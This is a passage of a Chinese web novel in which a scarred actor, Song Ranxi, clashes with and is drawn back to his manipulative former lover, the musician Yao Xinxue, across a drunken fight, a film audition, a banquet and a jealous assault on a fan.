在几分钟之后,他听到了浴室的关门声,就知道宋燃犀是去洗澡了。 纯黑的法拉利在半个小时后开到了赫赫有名的私人餐厅,尧新雪就站在门前抽烟,仿佛等待着什么人般,终于在这辆车恰如其分地停在他面前,降下车窗时,挑了挑嘴角。 在很久以前他们是出租屋的“室友”,然后是“炮|友”、“情人”、“主仆”与“共犯”,最后一场荒唐的车祸却改变了这所有似是而非的关系。 原以为两人功成名就后至少能相爱,毕竟他们什么都有过,什么都发生了,可这却只是尧新雪回国后他们的第二次见面。 宋燃犀捏紧了方向盘。 他无法解释自己前来的动机。 他割裂得要命,灵魂被强行撕扯成了两半,一半被钉在那场车祸的大火里痛苦不已,宋洲死去的样子与应怜通红的眼睛不断地闪回着;另一半则始终渴望着恳求着尧新雪,因为尧新雪看向自己的眼神感到欣喜。 他无法克制自己不去寻找尧新雪的冲动,却又始终无法释怀那场车祸。 他这么自私,这么软弱,一边愧疚,一边难耐,仿佛活成一个苦行僧,惩罚自己不去见尧新雪,不去和尧新雪和好就是对宋洲死亡最大的赎罪,对应怜最好的宽慰。 他就这样自欺欺人,活得半是疯疯癫癫招人发笑。 宋燃犀降下了车窗,往外看向了尧新雪。 尧新雪没有开门,只是慵懒地将手臂搭上车窗边缘,眼神温柔,嘴角挑起:“小狗来接我了。” 宋燃犀就感觉到自己的心脏被高高地悬起后,又被轻轻地放下了。 他只能努力控制着自己的表情,镇定道:“你醉了。” 尧新雪没有像那些醉鬼一样高声反驳着“我没醉”,只是乖乖地将鸭舌帽的帽檐抬高了一点,露出那双漂亮的,仿佛蒙了一层雾霭的眼睛,然后打开车门上了车。 宋燃犀对尧新雪的几处住所了如指掌,可是当尧新雪真的坐在他身边时,他居然开始希望着今晚能够下一场大雪,能把道路全部都封死。 尧新雪乖巧地系上安全带之后,便闭着眼睛靠在了窗边。 宋燃犀只能不断地用余光瞥着他的面容。 尧新雪喝醉对于宋燃犀来说是件新奇的事,从宋燃犀认识他开始,他就没有过醉了的样子。 尧新雪从来不会允许自己在旁人面前流露出不清醒的样子或丑态,如果他看起来不清醒,那就必然是他装出来的。 宋燃犀因此有些拿不准他是真醉了还是装的。 后视镜里,尧新雪脸颊上的皮肤透着樱粉色,嘴唇水润,闭眼时长睫毛垂落下来有如鸦羽。当他露出这样毫无防备的、放松的样子时,宋燃犀才真正确认他醉了。 尧新雪很像一只警惕的流浪猫,稍有动静,就会醒过来。在过去宋燃犀比他先醒时甚至不敢动,生怕惊扰了这位睡眠质量不好、睡眠时间又极少的主。 如今宋燃犀的车开得又慢,又稳,车内安静得只剩下两个人的呼吸声。 就在路上,天空忽然降下了雨,红灯亮起,宋燃犀于是轻轻地踩下了刹车。 他将手撑在车窗边缘,看着玻璃上划过星星点点的雨珠,在那无数光点里隐约看见自己的面庞与身后睡着的尧新雪。 宋燃犀的心在这一秒感到了平静,就在这隅空间里,他没有再去想关于宋洲、应怜、尧新雪与公司的事。 他希望时间永远停在这一刻。 可是七十秒之后,绿灯又一次亮起了。 宋燃犀堪堪回过神来,法拉利于是又一次顺畅地开了出去。 他把尧新雪送到了尧新雪最惯常回的住所。 宋燃犀先是在车里安静地坐了半个小时,然后才轻轻地叫醒尧新雪。 他走出车外,撑着伞走到了副驾旁拉开了车门。 尧新雪刚被叫醒,听着雨声迈了出来,长靴落地时踩碎了一圈涟漪。 万千雨水倾落而下,疯狂地拍打在伞面上,周围早已陷入一片寂静,高楼大厦在黑夜中有如鬼影幢幢。 因为宋燃犀的伞很小,为了不让尧新雪淋湿,他只能将这把伞尽可能地向尧新雪倾斜。 在暴烈的雨里,两个人匆匆地走回了公寓。 等走到灯光之下,尧新雪的发尾湿了,宋燃犀则半边身子都湿了。 “那我先走了。”宋燃犀停在了原地,低下头,水滴沿着额前的发滴落。 “过来。”尧新雪只懒洋洋地打了个哈欠。 宋燃犀握着伞柄的手紧了紧,顿了好几秒后,终于迈开了脚步。 当门打开又轻轻地关上,尧新雪就将他抵在了门的背面。 空气中弥漫着酒精、白茶与香根草的味道,一切都恍如梦中,黑暗中宋燃犀甚至看不清尧新雪的脸。 他听见尧新雪极轻的笑音,然后脸上感觉到那冰凉的触感。 尧新雪又在摸他受伤的右半张脸。 “过来。”尧新雪又说了一次。 宋燃犀被他牵着衣角慢悠悠地拉进了客厅,只来得及脱掉自己湿了的皮鞋。 当宋燃犀被压在沙发上时,终于哑声道:“你喝醉了。” “嗯。”尧新雪随手就松了宋燃犀腰间的皮带。 他不介意宋燃犀浑身湿透,依然坐在宋燃犀的腿上,和他面对面相视。这样的距离能让宋燃犀看清他亮晶晶的眼底与挑起的嘴唇。 尧新雪醉了,性格里的恶劣的、孩子气的那一面就显露了出来,他玩玩具似的卷了卷宋燃犀的皮带,然后用皮带轻佻地拍了拍宋燃犀的脸。 “你,很幼稚。”尧新雪轻轻地笑了下。 宋燃犀默不作声地看着眼前人的眼睛,没有说话。他的心软得一塌糊涂。 “有什么不能放下的?既然放不下,又为什么还来接我?”尧新雪的眉眼弯起,此刻眼底有了几分狡黠。 “你不懂。”宋燃犀紧紧地望着他,心脏仿佛被一只手紧紧攥住,绞出酸水。 “嗯,我不懂。”尧新雪将皮带勒在了宋燃犀的脖颈上,手攥住了从宋燃犀颈两侧伸来碰在一起的皮带,最后猛地收紧。 宋燃犀一下子感到呼吸困难,颈部青筋明显,克制着本能不去掀翻尧新雪。他皱了皱眉,表情无奈,依然只是顺从地望着尧新雪。 在近乎窒息的痛意里,他的瞳孔骤缩,手下意识地摸上了自己的颈,却没有阻止尧新雪。 尧新雪欣赏着他的表情,然后攥着皮带的手用力往后一拽,就将宋燃犀彻彻底底地顶在了沙发的靠背上。 他跪坐起来,蓝色的长发随着低头的动作垂落,宋燃犀被迫仰着头去看尧新雪,艰难地呼吸着。 尧新雪空出的另一只手掐着宋燃犀的下颌,望了一会后又有些困惑般低下头贴着他的耳朵说:“但是只是一场车祸而已。” “宋洲死了就死了。”尧新雪一字一顿,每一个字落在宋燃犀的耳朵里都这样刺耳,“你为什么还不回到我身边?” 宋燃犀的嘴唇变得苍白,他的眼睛由短暂的茫然转变成了不可遏制的愤怒,他猛地攥住了尧新雪的手,将尧新雪反压在了沙发上。 尧新雪手里的皮带松了,金属扣子掉落在地上时的声音落在木质地板上显得是这样清脆。 整个空间里只留下宋燃犀粗重的喘气声。 两个人僵了好几分钟后。 “你……你一直是这么想的吗?”宋燃犀的嘴唇颤抖,手紧紧地扣着尧新雪的脖子,缓缓吸气。 月光安静地洒落进来,照亮了他眼角滑落的一滴泪。 尧新雪安静地看着他,没有说话,他在这时已酒醒了,但是依然没有道歉,只是眼底冷淡。 “我以为至少我,至少我,”宋燃犀攥着他颈部的手猛地收紧,低下头,眼泪却大滴大滴地落在了尧新雪的胸前,“至少我对你是特别的。” “是你,不是宋洲。”尧新雪看着他,慢慢说。 “你怎么能说出这种话。”宋燃犀望着尧新雪雪白干净的脸,眼神一瞬间变得狠戾。 “我喝醉了。”尧新雪闭了闭眼,再次睁开时,他又恢复了那温柔美好的神情,眼神天真,嘴角挑起。 “我再也,不想见到你。”宋燃犀一字一顿地说,他的眼神带有着难以化开的悲凉与凄惨,呼吸困难,“我对你,很失望。” “尧新雪,我们再也,再也不要再见了。” 宋燃犀的心脏仿佛被彻底碾碎了,他猛地从尧新雪的手指上抽出了那枚戒指,然后走前两步猛地扔出了窗外。 他头也没回地离开了。 第86章 宋燃犀正在低头看剧本,他这次准备试镜的角色是杨柯导演《无罪者》里的张鑫。 这部电影讲述的是警察张鑫为父报仇,想要剿灭毒贩于是潜伏毒窟做卧底的故事。一部警匪片,主角是卧薪尝胆的卧底,首先从身高与身材上就筛选掉了不少人。 宋燃犀看剧本时很专注,垂着眼睛,仿佛对周围若有若无的试探视线毫无感觉。 人人都想看他的脸到底是真的毁容还是化妆效果,人人都交头接耳试图从这位曾经冠为世界最年轻影帝又车祸丧父的年轻人脸上看出痛苦绝望、一蹶不振的痕迹。 可惜宋燃犀只是面容平静,认真平静地翻着剧本。 即将试镜的那场戏是毒枭的马仔偶然听到了张鑫打机密电话的声音,在无法确定马仔是否真的窥见了自己的秘密时,张鑫不得不与之周旋并试探。 马仔依然保持着嘻嘻哈哈的笑容,却在转头时忽然拿起了手机,紧张过度的张鑫猛地攥着他的头发往墙上猛撞,因为用力过度,失手杀了人。当他低头看着马仔的手机号时,上面的备注却只是对方新的女朋友。 这是作为警察的张鑫第一次杀人,也即是犯罪。他陷入了一个巨大的道德困境,失手杀了一个并没有打算举报他的人。 哪怕理智告诉张鑫他不会被判刑,手上淋漓的血却清楚地告诉他,他真的杀了一个活生生的人。 演员需要表现出他的慌张、茫然与后悔。在肢体动作相当有限的情况之下,眼神戏成为了考验演员重要方式之一。 试镜开始了。 镜头里,宋燃犀的表情镇定,但紧绷的下颌线与颈部线条能让看客清楚地感觉到他的紧张。 面对马仔一如往常的嘻嘻哈哈,他也装作平常那样轻松。 没有特意搭建的现场,没有试戏,也没有紧张的配乐,可宋燃犀的一举一动依然让在场的其他人迅速地沉浸下去,同时也由衷地为“张鑫”捏一把汗。 宋燃犀不动声色地将手机放回了兜里,眼神淡淡地扫过马仔,直到看着马仔背过身去拿出了手机,才捏紧了手指。 他的手指因为紧攥着骨节泛白,监控器里甚至能看到他的喉结缓缓滑动,时间仿佛在这一秒无限地延长,所有人的心都提到了嗓子眼。 下一刻,宋燃犀猛地攥过马仔的衣领将他的头猛地撞上了墙壁,哐哐几下毫不犹豫,直到那人软绵绵地躺在了地上,他才松开了手。 宋燃犀的表情从愤怒、紧张变得仓皇茫然,这里他没有一句台词,但粗重的喘气声与慌乱的动作依然暴露了他的心虚。 在最后几秒里,宋燃犀依然定定地看着那具尸体,最后别开了眼睛,只是发呆似的看向旁侧。明明他自己才是杀人犯,却仿佛还没有从一个巨大的噩梦里醒来,抱着双臂的手依然恐惧得在微微颤抖。 十秒后,一个人的掌声响了起来起,打破了持久的寂静,所有人都在那一刻回过神,看向了门后走来笑呵呵的老先生。 杨柯今年六十九岁,打算拍完这部电影就彻底退休,在华语影坛的地位之高可以让每一个人都谦恭地低下头叫一声先生。 此刻他穿着薄外套,笑咪咪地鼓起了掌,身后跟着两个年轻人,一个头发乱糟糟的、戴着黑框眼镜,一个蓝色长发及腰,眉眼温柔。 正是许弋和尧新雪。 杨柯是许弋的老师,这次的电影,许弋将作为助手辅助杨柯工作。 这位年纪轻轻斩获两次戛纳最佳导演的年轻人眼底一片乌青,一把眼镜歪歪扭扭仿佛刚从被窝里爬出来。 与他的邋遢相比,身边的尧新雪则看起来干净、精神很多。 他的头发看起来极为柔顺,高高地扎在脑后,脸庞俊秀干净,穿着普通的T恤和牛仔裤,没有戴上耳钉看上去既年轻又是长辈们最喜欢的样子。 显然在仅仅只见过的一次面里,尧新雪就已经深得杨柯的喜爱,而其他明星显然也认出了这三个人的身份,纷纷笑着向他们打起了招呼。 宋燃犀也停了下来,望向了这边。 在与尧新雪对视之后,他咬了咬牙,最后偏过了脸。 过了好几秒后,宋燃犀的脸色终于有所缓和,走向杨柯淡笑着说了句:“杨老。”他对站在杨柯身后的尧新雪视若无睹。 杨柯笑呵呵地拍了拍掌,毫不掩饰眼底的赞赏:“你符合我对张鑫的想象。” “谢谢您。”宋燃犀应了,“我先去旁边休息了。” 杨柯说了声好,他身后的许弋则挑了挑眉。 尧新雪的表情依然温柔,他同样仿若没有看到宋燃犀,只是偏过头小声地和杨柯说着话。 “这是我第一次来片场,这里,和我想象的不太一样。”尧新雪歪了歪头说。 “你多来就知道了,到时候别忙起来,就立刻把我这个老头子抛到脑后。”杨柯哼了声,眼底带着笑意。 “不会的,我还想常来看您呢。”尧新雪笑了笑。 两人笑呵呵地有一搭没一搭地聊天,许弋早已神游到了天外,他和宋燃犀早混成死党,当然知道宋与雪之间的关系。 人人都在猜测宋燃犀自导自演的那部电影里那个美丽的剪影是谁,只有许弋心里跟明镜似的——除了尧新雪还能是什么人。 车祸一事,他能理解宋燃犀,但是对尧新雪这个态度,实在是少见。 许弋偷偷瞥了一眼旁边的尧新雪,不得不感慨这人生得确实是颠倒众生的长相,新雪新雪,人如其名,干净而漂亮。 即使尧新雪表现得如此礼貌与温柔,许弋还是能感觉到他的疏离,他待人接物间看似亲昵,实则可望而不可即。 许弋正准备偷偷再看他一眼,就措不及防地与他视线相交。 许弋的心猛地一跳,只听到尧新雪似笑非笑地说:“许导为什么一直在看我。” 许弋适时地避开目光,笑嘻嘻道:“第一次见这么好看的人。” 许弋不是撒谎或恭维,他是真这么想的。 尧新雪收回了目光,将视线投落到了不远处的宋燃犀身上。 “走吧,我不想待了。”宋燃犀的胸口发闷,脸色冷淡。 小言的心一惊:“我们这就走了?杨导很喜欢你呀,等会就能拿到这个角色了!” “我不演了。”宋燃犀沉声道,像是想起了什么,他本能地将右半张脸侧了过去。 小言知道他在这场戏里下了不少功夫,宋燃犀从来不会在演戏上开玩笑,对方也是个大导演,况且众目睽睽之下走人,显然不是有教养的宋燃犀会做出来的事。 小言因为他突然的变卦搞得一头雾水,看宋燃犀脸色铁青又不敢多劝,只能仓皇地打电话给许弋:“许老师,我们家老板说他不演了,这怎么办啊?” 许弋接电话听了只笑骂一句痴情种。 宋燃犀没管小言,也没跟谁打招呼,仿佛想要避开谁一样匆匆地准备离开。 直到有人站在了他的面前。 宋燃犀才不得不猛地停住了脚步。 他看着眼前的尧新雪,那晚从眼前人嘴里说出的话就这样毫无征兆地又复现在了他的耳边——“只是一场车祸而已,宋洲死了就死了。” 这句话如同一把锋利的刀,穿胸而过。 尧新雪踩在了他最无法释怀、最无可原谅的位置,他几乎在那一秒无可救药地恨上了尧新雪。 宋燃犀冷笑了一下,避开尧新雪就准备往旁边走,却被尧新雪看穿般又一次挡住。 对方依然笑盈盈地、脾气很好般站在他面前。 宋燃犀的心底有一把火在烧,他猛地拽住了尧新雪的手腕,将人拉到了旁边的更衣室里。 “你来干什么?你还想继续看我的笑话是吗?为什么你还敢出现在我面前。”宋燃犀咬牙切齿,可瞳孔却在颤抖,按在墙上的手青筋毕现。 尧新雪的目光从他的颈缓慢上移到他的眼睛,轻声说:“我收到了杨老师的邀请,所以才来了这里。我那天喝醉了,口不择言,抱歉。” “其实你一直都是这样想的是吗?只是一场车祸而已,只是一场车祸而已,只是我的父亲死了而已。”宋燃犀一字一顿地说,他盯着尧新雪毫无波澜的眼睛,感到痛苦与憎恨,继续道,“我只是你的玩具,所以其他人怎么都无所谓,对吗?” “如果那天我死了呢?”宋燃犀慢慢说,嘴角扬起一抹嘲讽的笑,“你会不会也是这么轻飘飘的态度?” 尧新雪的表情始终冷静,他与宋燃犀对视,眼神淡淡,对宋燃犀的质问与愤怒无动于衷。 “没有这种假设,你不会死,”尧新雪开口了,口吻如同冷漠的判官,为宋燃犀宣判了刑罚,“而只要你没死,你就永远是我的。” 他是这样残忍,决绝的话仿佛当初在出租屋里宣告着黑羊乐队会是世界第一那样——而正如同他所说的那样,一切都以一种势必会发生的样子实现。 宋燃犀目眦欲裂,胸口传来无止尽的闷痛,他的眼眶干涩,仿佛被抽掉了所有力气。 而尧新雪抬起手臂挂上了他的脖颈,语气变得轻柔:“我向你道歉,那晚是我说错了话。我们从头来过,好不好?” 第87章 窗外正淅淅沥沥下着雨,天空暗沉得犹如世界末日,气温骤降,天气预报已接连发出了几次暴雨预警。 尧新雪一手包揽了《无罪者》电影的主题曲和片头曲,算是半个幕后人员,电影的开机仪式其实可来可不来。 但因为是杨柯的邀请,他不好拂了对方的好意,于是还是答应了。 在风雨飘摇的夜晚,百来号人在酒楼里推杯换盏,坐在主桌的正是电影的几位投资人、制作人、主演与导演。 男主角最后定下的人是宋燃犀。 即使当时他臭着脸说不演了,许弋却还是把他劝了下来——说是劝,许弋却把宋燃犀喝趴下,借着两个人都醉酒就把宋燃犀臭骂了一顿。 他踹着喝到呕吐的宋燃犀骂道,能做杨柯电影的主演绝对是履历上光辉的一笔,宋燃犀早在这之前就付出不少,少为了些私人恩怨耍臭少爷脾气。 不知道宋燃犀听没听见,反正第二天酒醒后杨柯的合同就已经送到了面前,许弋早早地在上面龙飞凤舞地签好了他的姓名。 杨柯右手的位置坐着徒弟许弋,左手的位置则空着。过了晚宴开始的时间,那个杨柯始终在等待、特意为他留位置的人也依然没有出现。 桌上的几个人面面相觑,都在揣测着这个人是谁,只有许弋的表情淡然自若,边吃着桌上的花生,边用看戏的眼神看着对面脸色难看的宋燃犀。 宋燃犀确实没想到杨柯和尧新雪的关系竟然已经这么近,他想了片刻却只能咬牙切齿——尧新雪确实是惹人喜爱的,只要他愿意,几乎没有人能讨厌起他来。 可是就这样一个八面玲珑的人居然会说出这么不可原谅的话,连道歉都是轻飘飘的,想到这里宋燃犀更是感到难以言喻的憎恨。他在过去喜欢尧新雪对他不加掩饰,此刻却恨着尧新雪连骗都懒得骗他。 宋燃犀当然知道尧新雪其实是冷血的。 这个人看起来美好,却从来没有让任何人走进过心里。 宋燃犀感觉得到自己对尧新雪来说与其他人有所不同,一开始以为是喜欢,后来发现尧新雪对他只是无关爱的占有欲。 这头漂亮的狐狸将他认成了猎物之一,想要将尖牙深深地刺进他的脖子,却又不想要他就此被咬死。 性也好,项链也好,一切宋燃犀所以为的情趣都只是满足尧新雪控制欲、占有欲的方式。 宋燃犀本来心灰意冷了,后来却发现自己其实无所谓尧新雪对他是什么态度。 他在一无所有的时候早早地把仅剩的真心献了出去,对尧新雪的利用心甘情愿甚至是甘之如饴,哪怕尧新雪将这颗心随意地抛掉了,碾踩得粉碎,鞋底也总会沾上些齑粉。 而他这个没了心的人,会一直一直追着那点齑粉走。 宋燃犀发现自己就是这么下贱,所以在看到尧新雪在楼梯间出现时毫不犹豫抱住他,所以在听到他喝醉了开车去接他。 最后的最后,尧新雪却说出了他最痛恨的话。 “宋洲死了就死了,只是一场车祸而已。” 他对尧新雪有多爱,就在听到那句话的时候有多应激,有多难过——明明世界上任何人在他面前说这样的话,他都可以学会面无表情地去应对,毫不在乎。 可当尧新雪说出来的时候,他就又一次失控了,又露出了难看的、狼狈的、体无完肤的样子。 餐桌之下宋燃犀捏紧了自己的手,听着旁边的人说话,面上淡淡地礼貌一笑,却在下一秒身体紧绷,克制着血流上涌的冲动,将手抓得死紧才没让自己臭着脸离席。 他先是闻到极淡的香根草气息,然后才听到那个温柔的声音。 “抱歉,我来晚了,下雨有些堵车。”尧新雪因为走得有些急,呼吸有些重,看到这么多生人也不怯场,只微微笑着打了声招呼,然后坐在了杨柯的身边。 杨柯和几个人都在和尧新雪寒暄,只有宋燃犀的表情平淡,没有说任何话。 他一个人默不作声地喝着杯里的酒,只有当话题落在他身上时,他才会回应几句,然后巧妙地将话题转移到别人身上。 宋燃犀因为尧新雪的出现感到如鲠在喉,即使始终控制着自己不去看他,但依然注意到了尧新雪搭在椅背上的薄外套。 薄外套因为挡雨几近半湿,被他搭在了椅背上,长发也被绑在了脑后,所以没有人注意到尧新雪的半身都湿了。 他淋雨了——除非刻意关注尧新雪,否则绝对没有人会意识到这件事。 宋燃犀沉默地喝着酒,最后喝得眼睛发红,别人在说什么都快听不清了。 他感到自己的脸很热,头脑已不再冷静,终于无声地将目光落在了尧新雪的身上。 尧新雪坐在那里,没有看到他,只是撑着下颌,微笑着听别人讲话。 杨柯是H省的人,口味偏辣,餐桌上的菜为了照顾他的胃口,基本都是重口的。 尧新雪没怎么动筷子,只是捏着手里的杯子,随意地晃了晃。 只要他有心,话题的中心就不会落在他身上。 宋燃犀找了个借口,说是去上厕所。 尧新雪还在捏着杯子玩,用筷子极轻地拨弄着落在碗里的辣椒。他感到很无聊,餐桌上的几个人精明得要命,十句话里有八句是在试探。 尧新雪心里犯懒,即使话依然说得依然滴水不漏,却已经有些犯困。 就在他准备懒洋洋地打个哈欠时,有服务生弯下腰,在他的面前放下了一碗砂锅粥。 放在他面前的是第一碗,之后餐桌上的所有人的面前都多了这么一碗滚烫的粥。 尧新雪懒洋洋地挑起眉,也不作声。 却有人疑问:“我们没点这个粥啊,是不是上错了?” 服务生恭恭敬敬地回答道:“我们店长是杨先生的影迷,希望能送上一碗粥,祝杨先生一切顺利。” 众人都笑了起来,立刻开起了杨柯的玩笑,杨柯笑眯眯地谢过,正想问他们店长,那个服务生却已经退了下去。 只有许弋似笑非笑地看了一眼尧新雪。 除了一碗热粥,慷慨的店家还送上了一些小蛋糕作为甜点。 尧新雪慢条斯理地喝完了粥,又用叉子吃完了蛋糕,脸上的微笑终于多了几分满足的真意。 某种意义上,他真的很像只猫,很挑食,不喜欢的东西绝对不会去碰。 宋燃犀在所有人的哄闹声中落座,他谁也没理,对自己面前的粥和蛋糕视若无睹。 合照、剪彩,等所有流程都结束之后,这场饭局终于结束了。 “以前我什么都不知道,只是个毛头小子,跟着老师学拍戏,偷懒坐在镜头箱上,被老师臭骂了一顿。后来才知道,那是因为片场的人坐在镜头箱上是极大的忌讳。我们不可以不敬不护着要靠它才能吃饭的东西。”杨柯喝得有些醉了,乐呵呵道。 “第一次有人叫我导演,搬着木箱让我坐,那时我的心能飘到天上去。那时候什么都没有,什么都不会,却还是做到了现在,拍电影我拍了大半辈子。” 杨柯抄起拐杖假模假样地抽了一下旁边扶着他的许弋:“听懂我什么意思了吗?” 许弋低着头乖巧道,对以下的话倒背如流:“听懂了,让我们向您学习,做事就认真到底,不能像您之前那样吊儿郎当的,也一定要坚持,锲而不舍才能取得胜利。” 杨柯哼了一声,中气十足地拍了一下许弋的背,才将目光转向了旁边的尧新雪。 他的目光清明且慈爱,望着尧新雪,仿佛心生许多感慨:“我第一次见到你,就知道你是这样的人。” “杨老。”尧新雪微微一笑。 “好啦,都好好干吧。”杨柯也没多说,就爽朗地一笑,就迈开脚步走进了车。 雨依然在下,无数雨珠坠落全部都隐没在了黑暗里,只有不远处一盏雪白的路灯,映出了纷飞飘落如细雪的雨。 尧新雪站在原地没动,看着杨柯的车慢慢驶远,直到有人将一件外套轻轻地搭在了他的肩膀上。 他才回过神。 尧新雪的表情平淡,转过头看向那人时只说:“您是?” “我是梁吾,演周恣的那个。”男人扶了扶眼镜,好脾气地笑了一下,深深地吸了口气,“我没想到,真的是你,很高兴能见到你,新雪。” 无论是梁吾还是周恣,尧新雪都不知道,都没印象。他没说话,漂亮的眼睛微微眯起,只说了句:“你好。” “我是你们乐队的粉丝……我喜欢你……们很久久了。”梁吾看出了尧新雪的冷淡,忙着解释道,声音甚至紧张得有些结巴。 “我看到你外套湿了,现在也有点冷,就没忍住……希望你别觉得冒犯。”梁吾紧张地搓了搓自己的手心。 尧新雪打量着眼前的男人,这个人长得确实不错,五官端正,剑眉星目。 但尧新雪还是感到了有些厌烦:“没关系。” “我送你回家吧,你看起来有些醉。”梁吾笑了笑。 尧新雪本来想要拒绝,但是想了想,又说:“好。” 他仿佛浑然不觉身后某道灼灼的目光,只看着梁吾兴奋得手舞足蹈。 在等待梁吾开车到来前,尧新雪仿佛听到了什么——一道极其轻微的快门声,让他如同警惕的羚羊侧过了头看向另一边。 然而,在无边的黑暗与雨幕里,他什么都没看到。 尧新雪捏了捏自己的眉心,最后坐进了梁吾的车里。 第88章 暴雨降下,梁吾的心砰砰、砰砰地跳着,他握着方向盘的手紧张得出汗,不是因为糟糕的路况,而是因为坐在他身边的人。 仿佛是做梦一样,他看到尧新雪本人时只有一种不真实感。 梁吾是个十八线的小演员,能上去给尧新雪搭建外套就已经鼓足了勇气,如今居然还能送尧新雪回家,简直比中了几千万的彩票还要惊喜。 然而尧新雪的表情冷淡,只是闭着眼睛安静地休息。 他不笑时并不容易接近,长睫毛垂下,那双温柔含水的眼睛合上时,薄唇与狭长的眼型就显得无情起来。 可即使他不笑,依然这么漂亮,梁吾心想,现实中的尧新雪比照片上、视频上看过的都要漂亮。 下车后他忙不迭地撑着伞跑去副驾为尧新雪开门,尧新雪则不着痕迹地避开他想要扶住自己手臂的手,抬起了下颌不疾不徐地走到了他的伞下。 雨珠疯狂地拍打着伞面,伞下,尧新雪稍微倾了倾头,望向了不远处另外一辆打着远车灯、看不清人影的车,玩味地挑起了嘴角。 这辆车从一开始就跟上了他们,如果不是因为尧新雪知道那个车牌号,必定又是另外一种脸色。 尧新雪的眼底多了一层狡黠的笑意,他本来不想和梁吾多说什么,却因为忽然的一时兴起温声和梁吾搭起话来。 梁吾紧张得连话都说不清楚,在得到了尧新雪的关心后紧张地低了头。 尧新雪关切道:“你的衣服湿了。” 梁吾忙摆摆手说:“没事。” “我有些大一点的衣服,进来换了吧,你回去还要不短时间呢。”尧新雪轻声道,梁吾在这样的距离下甚至能嗅到他的发香。 梁吾真想伸出手捧起尧新雪的一绺头发,去嗅、去亲吻。 尧新雪仿佛是所有美好幻想的本身,他是高高悬起的皎洁月亮,想要靠近总是来之不易的。 梁吾的眼神此刻已经有些痴痴的了,忙不迭地点头答应。 于是尧新雪开了门,还没有按下屋内的灯,就听到了背后男人痛苦地闷哼一声。 尧新雪放在开关的手没有按下去,屋内依然暗沉,风卷着雨丝落进来,闪电划过天空,有一瞬间映亮他漂亮的脸。 梁吾没能看到尧新雪恶作剧得逞般的无声的笑,只是忽然被蒙住了脑袋,被一个男人扔在地上猛挨拳头。 他一开始还在叫骂着反抗,因为看不清人,梁吾什么脏话都骂了出来,对方却一拳砸得比一拳狠。 梁吾被打得抽痛,浑身如同烂泥鳅般抽搐着,他开始瞎叫,每开始求助,开始叫尧新雪的名字,就会被那人狠狠地扇一巴掌。 最后他几乎被打得昏晕过去,只来得及听到尧新雪那声轻佻的口哨,跟在唤狗似的。 从雨幕里冲出来将黑布蒙在梁吾头上的人听到尧新雪的那声口哨后终于放缓了呼吸停下了手,但他也没转过头去看尧新雪,只是从兜里拿出了手机随便拨了个号码:“我发你个地址,把门口的人带回去封好口了。” 就这样草草地做了善后工作,宋燃犀就头也不回地就又拖着那个人像扔垃圾一样,将梁吾拖离了尧新雪家门口。 他真的喝醉了,走路摇摇晃晃,也不知道自己刚刚在冲动什么,看到那个男人想要跟尧新雪进门就什么都不管冲上去了。 宋燃犀的脸色难看,只有尧新雪倚靠在门上,似笑非笑地看他失魂落魄的样子。 宋燃犀站在雨里抹了一把自己脸上的水,随手把梁吾扔在了一边就准备离开。 今晚他们一句话都没说过,甚至没有多看彼此一眼。 尧新雪说:“过来。” 宋燃犀的脚步没停,仿佛没听到似的。 “宋燃犀,”尧新雪笑了,“你干嘛打他。” 宋燃犀的眉心一跳,只是站在了原地。 尧新雪继续道:“我让你过来。” 宋燃犀揉了一把自己的脸,太阳穴突突地在跳,他浑身散发着酒气与雨水的味道,暴雨之下,那半张毁容的脸疤痕明显,阴沉的表情更是显得丑陋可怖。 可他又有一双通红的双眼,让他看起来可怜得像一条流浪狗。 宋燃犀咬了咬牙,转过身站在了尧新雪面前,压低声音警告道:“你知道那个傻逼是谁吗?随随便便就敢把他带到家里,他会用迷药把你迷晕然后带到酒店,把你.操.得下不来床,跟着另外一堆社会败类开party。你他妈还以为他是个好人呢?” 他长得比尧新雪高半个头,低下脑袋紧紧注视着尧新雪的样子堪称愤怒,仿佛憋了一整晚的话终于忍不住彻底爆发了。 宋燃犀额前一绺头发的水滴到了尧新雪的锁骨上,他紧绷着的下颌线与抿直的唇角都昭示着他的紧张与忿恨。 尧新雪没有说话,依然微微笑着仰头看他。他的眉眼是这样温柔,宋燃犀说的每一个字都没有任何威慑力似的。 “是了,你是无所谓,你知道我跟着你,你就是故意在激我。”宋燃犀看着他的脸,冷笑了一下,然后准备转身就走。 然而还没等到他有所动作,就被尧新雪抬起双臂圈住了脖颈。 尧新雪的手按在他的后颈上,眼神温柔而多情,他亲昵地蹭着宋燃犀的脸,与宋燃犀的鼻尖相碰,若有若无地碰过宋燃犀的嘴唇。 “是啊,但你就是上钩了。”尧新雪笑了,他的神情满意愉悦,眼睛弯如新月,如同叼到了一尾鱼的猫,细长的尾巴愉快地晃着。 “滚,我讨厌你。”宋燃犀按住了尧新雪的手臂,眼睛通红,可尧新雪的手臂太滑,他始终拽不下来。 他滚烫温热的手碰上尧新雪冰凉的皮肤,又怕自己太过用力,弄痛尧新雪,于是又松开了手。 宋燃犀的脑子混乱得很,酒精仿佛在他的脑子炸开,被尧新雪一手攥着衣领,一手勾着脖子往屋里走,只来得及用脚顺带上门。 尧新雪拖拽着他倒在了沙发上,宋燃犀怕自己太重压到他,挣扎着伸出一只手撑在了旁边的椅背上。 尧新雪却轻轻地吻了上去,抱着他的脑袋,熟练地撬开他的唇齿,开始接吻。 一滴水珠落在了尧新雪的颈上,顺着他的脖颈滑进衣服里,一开始宋燃犀以为这是他淋雨而来的水,后来才知道是自己的眼泪。 他发现,自己不能不爱尧新雪。 保护尧新雪已经成为了他的本能。 宋燃犀在这甜蜜而痛苦、渴望已久却只敢想象的漫长的吻里发出零碎的、绝望的哽咽,最后伸出了手紧紧回抱住尧新雪,开始如同过去那样抢夺主导权。 过于疯狂的吻如同窗外永无止尽的雨,混杂着宋燃犀滚烫的眼泪一同落下。 如同被诱引着尝食甜美禁果的亚当,他的爱欲成了原罪的开端。他的所有骨头都在叫嚣着:这是错误的,你应该恨这个人;却又始终无法停止下这个行为,无法控制着自己的委屈。 他一声不吭,控制着尧新雪,动作鲁莽且不温柔,让吻变得不像吻,更像是像一场他单方面的进食。 他如同嗅到猎物的动物,想要将尧新雪拆食入腹,而尧新雪对他又总是这么纵容。 尧新雪如同一只温柔的恶魔,只需要轻轻笑着哄骗他,就能让他放下所有抵防,完成堕落。 他让宋燃犀在那漫长的几秒里放弃所有纠结和痛苦的过去,忘记所有曾经认定的死理与不公。 宋燃犀带着茧的、滚烫的手指如同推进的针管,他感受着尧新雪轻微的战栗,埋头在尧新雪的颈窝里极低地呼吸。 